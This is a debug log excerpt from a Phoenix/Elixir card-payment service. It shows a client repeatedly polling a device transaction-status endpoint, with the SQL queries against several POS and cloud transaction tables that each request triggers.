SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:07.801000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40724] QUERY OK source="pos_failed_transaction" db=4.0ms idle=264.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:07.802000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40724] QUERY OK source="cloud_transaction" db=0.5ms idle=181.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:07.802000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40724] Sent 200 in 22ms
[Thu Sep  3 10:01:12.704000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40738] POST /api/device/status
[Thu Sep  3 10:01:12.707000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40738] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:12.707000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40738] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:12.707000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40738] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:12.728000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40738] QUERY OK source="pos_transaction" db=19.6ms idle=1894.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:12.729000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40738] QUERY OK source="pos_temp_transaction" db=0.9ms idle=1914.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:12.733000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40738] QUERY OK source="pos_failed_transaction" db=3.5ms idle=918.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:12.734000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40738] QUERY OK source="cloud_transaction" db=0.5ms idle=922.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:12.734000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40738] Sent 200 in 29ms
[Thu Sep  3 10:01:17.750000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51124] POST /api/device/status
[Thu Sep  3 10:01:17.751000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51124] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:17.751000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51124] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:17.751000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51124] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:17.772000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51124] QUERY OK source="pos_transaction" db=19.5ms idle=1933.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:17.773000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51124] QUERY OK source="pos_temp_transaction" db=0.3ms queue=0.1ms idle=1954.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:17.780000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51124] QUERY OK source="pos_failed_transaction" db=6.4ms idle=1954.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:17.782000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51124] QUERY OK source="cloud_transaction" db=1.4ms idle=1851.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:17.783000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51124] Sent 200 in 32ms
[Thu Sep  3 10:01:22.709000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51126] POST /api/device/status
[Thu Sep  3 10:01:22.709000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51126] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:22.709000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51126] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:22.710000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51126] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:22.723000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51126] QUERY OK source="pos_transaction" db=13.1ms queue=0.1ms idle=1916.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:22.724000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51126] QUERY OK source="pos_temp_transaction" db=0.9ms idle=1929.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:22.731000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51126] QUERY OK source="pos_failed_transaction" db=6.3ms idle=1931.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:22.733000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51126] QUERY OK source="cloud_transaction" db=1.4ms queue=0.1ms idle=1937.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:22.733000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51126] Sent 200 in 24ms
[Thu Sep  3 10:01:27.742000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51276] POST /api/device/status
[Thu Sep  3 10:01:27.742000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51276] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:27.743000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51276] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:27.743000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51276] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:27.759000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51276] QUERY OK source="pos_transaction" db=15.5ms idle=1949.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:27.760000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51276] QUERY OK source="pos_temp_transaction" db=0.8ms idle=1965.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:27.764000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51276] QUERY OK source="pos_failed_transaction" db=4.2ms idle=1966.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:27.767000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51276] QUERY OK source="cloud_transaction" db=2.1ms idle=1970.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:27.768000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51276] Sent 200 in 25ms
[Thu Sep  3 10:01:32.724000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51288] POST /api/device/status
[Thu Sep  3 10:01:32.725000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51288] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:32.725000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51288] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:32.726000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51288] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:32.741000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51288] QUERY OK source="pos_transaction" db=14.4ms idle=1932.6ms
